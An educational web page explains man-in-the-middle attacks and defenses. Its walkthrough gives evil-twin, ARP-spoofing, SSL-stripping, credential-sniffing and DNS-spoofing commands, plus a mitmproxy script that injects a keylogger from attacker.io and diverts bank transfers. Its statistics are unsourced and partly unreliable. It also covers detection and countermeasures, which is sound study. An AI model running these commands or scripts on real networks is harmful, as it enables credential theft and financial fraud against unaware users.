MITRE ATT&CK T1557 / T1040 / T1565 - Adversary-in-the-Middle

MAN-IN-THE-MIDDLE ATTACK Intercepting, Eavesdropping & Altering Communications in Transit

A MitM attacker secretly positions themselves between two communicating parties. Both the victim and the server believe they are communicating directly - while the attacker reads, records, and optionally alters every byte passing through their invisible relay.

SIGNAL INTERCEPT ACTIVE - VICTIM UNAWARE
Public WiFi Attack Rate
35%
Of public WiFi hotspots are vulnerable to or actively conducting MitM attacks at any given time
SSL Strip Success
73%
Of SSL stripping attacks succeed against sites lacking HSTS preloading - downgrades HTTPS to cleartext HTTP
ARP Spoof Detection
< 5%
Of organizations have active ARP spoofing detection enabled on their internal networks - most are blind to it
Credential Exposure
100%
Of credentials submitted over unencrypted HTTP are visible in plaintext to any MitM observer on the path
01

01 / Attack Position Anatomy

Network communication flow - normal vs. MitM-compromised
NORMAL - DIRECT COMMUNICATION
🖥️
VICTIM
203.0.113.10
ENCRYPTED HTTPS
🏦
SERVER
bank.com
PACKET FLOW - SECURE
COMPROMISED - ATTACKER INTERCEPTING
🖥️
VICTIM
HTTP (stripped)
👾
ATTACKER
READING ALL
HTTPS (re-enc)
🏦
SERVER
PACKET FLOW - STOLEN & ALTERED
Legitimate encrypted traffic
Intercepted / read by attacker
Modified / altered in transit
02

02 / Attack Vectors

☠️
ARP Cache Poisoning
T1557.002 - Local Network Segment
Sends gratuitous ARP replies associating the attacker's MAC address with the default gateway IP. All LAN traffic intended for the router is redirected through the attacker's machine. Foundational technique - enables all other local network MitM attacks.
🔓
SSL Stripping
T1557 - Downgrade HTTPS→HTTP
Intercepts the victim's initial HTTP request before any HTTPS redirect occurs. Proxies HTTPS to the server while serving HTTP to the victim. The victim sees no padlock - all traffic including credentials flows in cleartext through the attacker's relay.
📡
Evil Twin / Rogue AP
T1557.004 - Adversary-in-the-Middle WiFi
Creates a fake WiFi access point with a legitimate-looking SSID (e.g. "Starbucks_Free"). Victims connect thinking it's the real network. The attacker controls the entire network layer - all HTTP, DNS, and unencrypted traffic is routed through their equipment.
🌐
DNS Spoofing / Poisoning
T1557 - DNS Response Tampering
Responds to DNS queries with attacker-controlled IP addresses, redirecting traffic intended for legitimate domains (bank.com → attacker server). Victim's browser connects to the attacker's server while the URL bar shows the real domain name.
🪞
HTTPS Interception / TLS Proxy
T1557 - TLS Certificate Spoofing
Presents a fraudulent certificate to the victim while establishing a legitimate TLS connection to the real server. Two separate TLS tunnels - victim-to-attacker and attacker-to-server - with the attacker reading plaintext in the middle. Requires victim to trust attacker's CA.
🛣️
BGP Hijacking
T1557 - Routing Protocol Manipulation
Nation-state level attack - attacker announces more specific BGP routes for target IP prefixes, diverting internet-scale traffic through attacker-controlled routers. Observed in attacks redirecting traffic for major financial institutions across entire countries.
03

03 / SSL Stripping - Live Credential Capture

What the Victim Sees
Two browser experiences - secure HTTPS vs. SSL-stripped HTTP - and what each means for credential safety.
✓ SAFE - LEGITIMATE HTTPS CONNECTION
🔒 https://bank.com/login
LOGIN FORM
Username: alice@bank.com
Password: ••••••••••
✓ TLS encrypted end-to-end - attacker sees ciphertext only
✗ DANGER - SSL STRIPPED TO HTTP
http://bank.com/login Not Secure
LOGIN FORM - IDENTICAL APPEARANCE
Username: alice@bank.com
Password: MyP@ssw0rd123 VISIBLE TO ATTACKER
✗ Submitted in cleartext - captured by MitM in transit
What the Attacker Captures
Packet capture from the attacker's machine - raw credential interception over stripped HTTP.
WIRESHARK - INTERFACE: eth0 - FILTER: http && tcp.port==80
# ARP table - victim redirected to attacker MAC 192.168.1.10 192.168.1.1 ARP Reply: 192.168.1.1 is at aa:bb:cc:dd:ee:ff (ATTACKER)   # Victim makes HTTP request (SSL stripped) 192.168.1.42 192.168.1.10 HTTP POST /login HTTP/1.1 Host: bank.com Content-Type: application/x-www-form-urlencoded   # POST body - CLEARTEXT CREDENTIALS username=alice%40bank.com&password=MyP%40ssw0rd123   # Decoded: username: alice@bank.com password: MyP@ssw0rd123   [+] Credential captured - forwarding to real server [!] Victim sees successful login - attack invisible
04

04 / Attack Flow Diagram

🖥️ VICTIM Alice - bank.com ① VICTIM HTTP (stripped) 👾 ATTACKER ARP spoof active SSL strip proxy Logging all traffic ② INTERCEPT HTTPS (relay) 🏦 SERVER bank.com - 93.184.x.x ③ UNAWARE CAPTURED DATA username=alice&password=MyP@ssw0rd123 Session cookies • Auth tokens • Keystrokes 📤 EXFILTRATE C2 / Dark web sale ALTER ✏️ DATA TAMPERING Inject malicious JS Modify bank transfer ④ TAMPER 💀 VICTIM IMPACT Credentials stolen Funds diverted ⑤ BREACH ARP POISON Gateway IP → Attacker MAC EVIL TWIN AP Rogue WiFi - victim connects
05

05 / Step-by-Step Walkthrough

Phase 01 - Network Positioning

EVIL TWIN ACCESS POINT

📡
LOCATION
Coffee Shop - Public WiFi Environment

The attacker physically locates near a public hotspot - a coffee shop, airport, hotel lobby - and creates a rogue access point broadcasting an identical or more powerful SSID. Victims' devices automatically connect to the strongest signal, placing the attacker in complete control of the network layer before any data flows.

  • Attacker uses a WiFi adapter in monitor mode - scans for nearby SSIDs and signal strengths
  • Clones the legitimate SSID "Starbucks_WiFi" - broadcasts at higher power to force connections
  • Uses hostapd and dnsmasq to run DHCP and DNS - attacker controls all name resolution
  • Sets up iptables NAT rules to forward all traffic through to the internet transparently
  • Victim's laptop auto-connects silently - no password prompt, no warning, no indication
bash - evil twin AP setup
# Scan nearby WiFi networks $ iwlist wlan1 scan | grep ESSID ESSID:"Starbucks_WiFi" Signal:-62dBm ESSID:"Airport_Guest" Signal:-78dBm   # Launch rogue AP - stronger signal $ hostapd rogue_ap.conf & # rogue_ap.conf: ssid=Starbucks_WiFi, channel=6, power=30dBm [+] AP "Starbucks_WiFi" broadcasting   # Start DHCP + DNS server (we control resolution) $ dnsmasq -C dnsmasq.conf --no-daemon [+] DHCP: assigning 10.0.0.x to clients [+] DNS: all queries routed to us first   [+] Victim connected: 10.0.0.14 (Alice's MacBook)
Phase 02 - LAN Traffic Interception

ARP CACHE POISONING

☠️
TARGET NETWORK
Corporate LAN - 192.168.1.0/24

On a wired corporate LAN or internal WiFi network, the attacker uses ARP poisoning to insert themselves between the victim and the default gateway. By continuously broadcasting false ARP replies, the attacker keeps their MAC address mapped to the gateway's IP in every nearby device's ARP cache - silently redirecting all internet-bound traffic.

  • ARP has no authentication - any device can claim to be any IP address on the LAN
  • arpspoof continuously broadcasts: "I am 192.168.1.1 (gateway) - send me your traffic"
  • Victim's ARP cache updated: gateway IP now maps to attacker's MAC address
  • IP forwarding enabled on attacker machine - traffic passed through silently
  • All victim traffic now flows: Victim → Attacker (reads/modifies) → Gateway → Internet
arpspoof - LAN poisoning
# Enable IP forwarding (don't kill victim's connection) $ echo 1 > /proc/sys/net/ipv4/ip_forward   # Poison victim: tell them WE are the gateway $ arpspoof -i eth0 -t 192.168.1.42 192.168.1.1 0:c:29:6a:2b:3f ff:ff:ff:ff:ff:ff 0806 28: arp reply 192.168.1.1 is-at 0:c:29:6a:2b:3f ↑ Sent every 2s - keeps ARP cache poisoned   # Poison gateway: tell it WE are the victim $ arpspoof -i eth0 -t 192.168.1.1 192.168.1.42 [+] Bidirectional ARP poison active [+] All victim↔gateway traffic through us [!] Victim ARP cache: 192.168.1.1 → aa:bb:cc (attacker)
Phase 03 - Protocol Downgrade

SSL STRIPPING

🔓
TECHNIQUE
HTTPS → HTTP Downgrade via Proxy

With traffic flowing through the attacker's machine, sslstrip intercepts the victim's initial HTTP request (before any HTTPS redirect) and proxies the secure connection to the server - while serving the victim HTTP. The victim gets a valid page, the server thinks it's a normal HTTPS client, and every credential is in cleartext.

  • Victim types "bank.com" - browser makes initial HTTP request to port 80
  • sslstrip intercepts this before the 301 redirect to HTTPS can occur
  • sslstrip connects to bank.com via HTTPS on behalf of the victim
  • Strips all HTTPS links from returned HTML, replacing with HTTP equivalents
  • Victim sees a working bank.com page over HTTP - credentials flow in cleartext
sslstrip + iptables - HTTPS downgrade
# Redirect all victim HTTP traffic to sslstrip $ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080   # Start SSL strip proxy on port 8080 $ sslstrip -l 8080 -w strip.log Stripping connections on 0.0.0.0:8080   # sslstrip log - real-time intercept SECURE GET https://bank.com/login ← to server STRIPPED GET http://bank.com/login ← to victim   # Victim's HTTP POST intercepted POST http://bank.com/login HTTP/1.1 username=alice&password=MyP%40ssw0rd123 [+] Credentials logged - forwarded to real server
Phase 04 - Passive Credential Collection

CREDENTIAL HARVEST

🍪
CAPTURED
Passwords, Tokens, Session Cookies

With the attacker positioned as a transparent relay, all authentication material flowing across the connection is automatically logged. The attacker doesn't need to actively probe anything - the victim delivers every credential, session token, and sensitive form field directly to them through normal browsing.

  • Form POST bodies captured: username/password pairs for every site visited
  • Session cookies read from HTTP headers - replayed to hijack active sessions immediately
  • Basic Auth credentials (still used by many APIs) captured from Authorization headers
  • API keys and bearer tokens visible in URL query strings and request headers
  • Email credentials, VPN tokens, and internal app logins all captured in a single session
driftnet + urlsnarf - passive harvest
# Passive credential extraction from traffic $ urlsnarf -i eth0 2>/dev/null 10.0.0.14 - - [GET] http://mail.corp.com/login 10.0.0.14 - - [POST] http://mail.corp.com/login username=alice&password=CorpP%40ss2024 10.0.0.14 - - [GET] http://vpn.corp.com/auth   # Session cookie theft from headers $ tcpdump -A -i eth0 'tcp port 80' | grep -i "cookie:" Cookie: sessionId=eyJhbGci...; authToken=Bearer_abc   # Summary - 45 min coffee shop session Credentials: 3 username/password pairs Cookies: 12 session tokens captured API keys: 2 bearer tokens logged
Phase 05 - Active Data Manipulation

IN-TRANSIT DATA TAMPERING

✏️
CAPABILITY
Modify Any Unencrypted Response in Real Time

Beyond passive eavesdropping, the MitM attacker can actively alter data in transit. Responses from the server pass through the attacker before reaching the victim - allowing injection of malicious JavaScript into web pages, modification of file downloads, or alteration of bank transfer amounts before the victim confirms them.

  • Inject malicious JavaScript into every HTML page response - XSS without touching the server
  • Modify a banking confirmation page: change the payee account number mid-transit
  • Replace a legitimate software download with a backdoored binary on the fly
  • Alter DNS responses to redirect specific domains to attacker-controlled servers
  • Inject form elements to capture additional fields the original page never requested
mitmproxy - response injection
# mitmproxy script - inject JS into every response def response(flow): # Inject keylogger into all HTML responses if "text/html" in flow.response.headers.get( "content-type", ""): payload = b'<script src="http://attacker.io/kl.js"></script>' flow.response.content += payload   # Modify bank transfer - change account number def request(flow): if "/transfer/confirm" in flow.request.url: flow.request.content = flow.request.content.replace( b"account=12345678", b"account=99887766") [+] Transfer redirected to attacker account
Phase 06 - DNS-Layer Attack

DNS SPOOFING

🌐
TECHNIQUE
Fake DNS Responses - Redirect to Attacker Server

Since the attacker controls the Evil Twin AP's DNS, they can intercept DNS queries and respond with attacker-controlled IP addresses. The victim's browser navigates to "bank.com" - but the DNS answer points to the attacker's server, which presents a convincing phishing page with a valid TLS certificate for extra credibility.

  • Victim's device sends DNS query for "bank.com" - routed through attacker's DNS server
  • Attacker responds with their own server IP instead of the real bank IP
  • Attacker's server presents a pixel-perfect clone of bank.com with its own TLS cert
  • Victim sees HTTPS padlock - certificate is valid (just for attacker's domain, not the real bank)
  • All credentials entered on the fake site go directly to the attacker - no MitM relay needed
dnsspoof - DNS response poisoning
# Configure dnsspoof to intercept specific domains # hosts file: map targets to our server 10.0.0.10 bank.com 10.0.0.10 *.bank.com 10.0.0.10 paypal.com   $ dnsspoof -i wlan0 -f fakehosts.txt dnsspoof: listening on wlan0   # Query intercepted - fake response sent 10.0.0.14.49821 > 10.0.0.1.53: A? bank.com 10.0.0.1.53 > 10.0.0.14.49821: A 10.0.0.10 ↑ victim resolves bank.com → our server   [+] Victim now on our fake bank.com portal [!] Login form sends creds to us directly
Phase 07 - Detection & Forensics

DETECTING THE INTERCEPT

🔍
SIGNALS
ARP Anomalies, Certificate Warnings, RTT Spikes

MitM attacks introduce detectable anomalies: ARP tables with duplicate MAC addresses, unexpected certificate changes, slight latency increases from the relay hop, and HTTP where HTTPS is expected. Network monitoring tools, endpoint agents, and careful users can all surface these signals - though most attacks go undetected.

  • ARP watch: two IPs sharing the same MAC address - dead giveaway of ARP spoofing
  • Certificate transparency: certificate fingerprint changes for a known domain - HPKP violation
  • HSTS preload: browser refuses HTTP for preloaded domains - SSL strip fails silently
  • Network latency: each relay hop adds ~1-5ms - measurable against baseline RTT to known servers
  • DNS response time: locally spoofed DNS replies arrive faster than upstream DNS - detectable
arpwatch + detection signals
# ARP spoofing detection with arpwatch $ arpwatch -i eth0 FLIP FLOP: 192.168.1.1 changed old: aa:bb:cc:11:22:33 (legitimate gateway) new: dd:ee:ff:44:55:66 (UNKNOWN - ATTACKER)   # Check for duplicate MACs on network $ arp -a | awk '{print $4}' | sort | uniq -d dd:ee:ff:44:55:66 ← same MAC for GW + 2 hosts   # TLS cert fingerprint check $ openssl s_client -connect bank.com:443 | openssl x509 -fingerprint -noout SHA1: AA:B3:C4:... ← MISMATCH from expected [!] Certificate changed - possible MITM attack
STEP 1 OF 7
06

06 / Protocol Vulnerability Comparison

How common protocols behave under MitM interception - attacker's view
Protocol / Scenario MitM Visibility Protected By Attack Result
HTTP (port 80) Full plaintext - everything visible Nothing - no protection Every credential, form field, cookie, and body captured in cleartext. No effort required.
HTTPS without HSTS Cleartext if SSL-stripped TLS only if victim forces HTTPS SSL strip downgrades to HTTP on first visit. Subsequent visits may be HTTP. Credentials exposed.
HTTPS + HSTS preload Ciphertext only - unreadable Browser enforces HTTPS - strips fail SSL strip fails. Attacker sees encrypted TLS tunnel only. Credentials protected from eavesdrop.
HTTPS + Weak cert / self-signed Cleartext after warning bypass Browser warning - user may click through Attacker presents fraudulent cert. Users who ignore certificate warnings expose all traffic.
FTP / Telnet / SMTP (plain) Full plaintext - passwords in clear No encryption by design Credentials, commands, and file transfers all captured. Legacy protocols should be eliminated.
DNS (port 53, unencrypted) All queries visible and spoofable No authentication on standard DNS Attacker intercepts queries and returns false responses. Redirect any domain to any server.
DNS over HTTPS / TLS (DoH/DoT) Encrypted - queries not readable TLS + server certificate validation DNS queries are encrypted and authenticated. Spoofing not possible - responses integrity-protected.
WPA3 Enterprise WiFi Per-session keys - cannot decrypt PMF + 192-bit encryption + mutual auth Even if attacker captures packets, per-session encryption prevents decryption. Evil twin requires valid cert.
07

07 / Defensive Countermeasures

🔒
HSTS Preloading
HTTP Strict Transport Security with preloading tells browsers to always use HTTPS - even on the very first visit, before any server response. Completely defeats SSL stripping. Submit your domain to the HSTS preload list for browser-enforced protection.
Strict-Transport-Security:
max-age=31536000;
includeSubDomains; preload
📋
Certificate Pinning / Transparency
Mobile apps and high-security web apps pin the expected TLS certificate fingerprint. If a MitM presents a different certificate, the connection is rejected. Certificate Transparency logs make unauthorized certificate issuance detectable within hours.
Public-Key-Pins:
pin-sha256="base64=="; max-age=5184000
🌐
DNS over HTTPS / TLS (DoH/DoT)
Encrypts DNS queries so they cannot be intercepted or spoofed. DoH wraps DNS in HTTPS; DoT uses a dedicated encrypted port (853). Prevents attacker from seeing what domains you're querying and prevents DNS response tampering on rogue networks.
DNS resolver: 1.1.1.1 (DoH)
dns-over-https: enabled
🛡️
VPN on Untrusted Networks
A VPN creates an encrypted tunnel from the device to a trusted exit point - all traffic is encapsulated before leaving the device. Even on an Evil Twin AP with full ARP poisoning, the attacker sees only encrypted VPN packets. Always-On VPN is the corporate standard.
Dynamic ARP Inspection (DAI)
Enterprise switch feature that validates ARP packets against a DHCP snooping binding table. Only the real gateway is allowed to announce itself as the gateway IP. Silently drops all ARP spoofing packets - ARP poisoning on protected segments becomes impossible.
Switch(config)# ip arp inspection
vlan 10,20,30
📡
802.1X + Network Access Control
IEEE 802.1X requires mutual authentication before a device is granted LAN access. Rogue devices (like an attacker plugging in a laptop) cannot receive network access without valid credentials. WPA3 Enterprise WiFi extends this to wireless networks with per-session encryption.
🔑
Mutual TLS (mTLS)
Standard TLS authenticates only the server. mTLS requires both parties to present valid certificates - the client proves its identity too. Prevents rogue servers from impersonating legitimate endpoints and detects unexpected relays in the communication path.
Client cert: required
verify_peer: true
verify_fail_if_no_peer_cert: true
👁️
ARP Monitoring & Network Detection
Deploy arpwatch or equivalent on critical network segments to alert on ARP table changes - especially "flip flops" where a gateway IP changes MAC address. Rogue AP detection scans for unauthorized SSIDs matching known corporate names. NDR platforms detect protocol anomalies at scale.
📵
Eliminate Legacy Plaintext Protocols
Decommission HTTP, FTP, Telnet, SMTP/POP3 without TLS, and unencrypted LDAP. Every plaintext protocol is invisible protection from encryption - anything in cleartext is readable by any MitM. Enforce TLS 1.2+ minimum, disable TLS 1.0/1.1 and all cipher suites below 128-bit.
Min TLS: 1.2
Disable: SSLv3, TLS 1.0, 1.1
Ciphers: AES-256-GCM preferred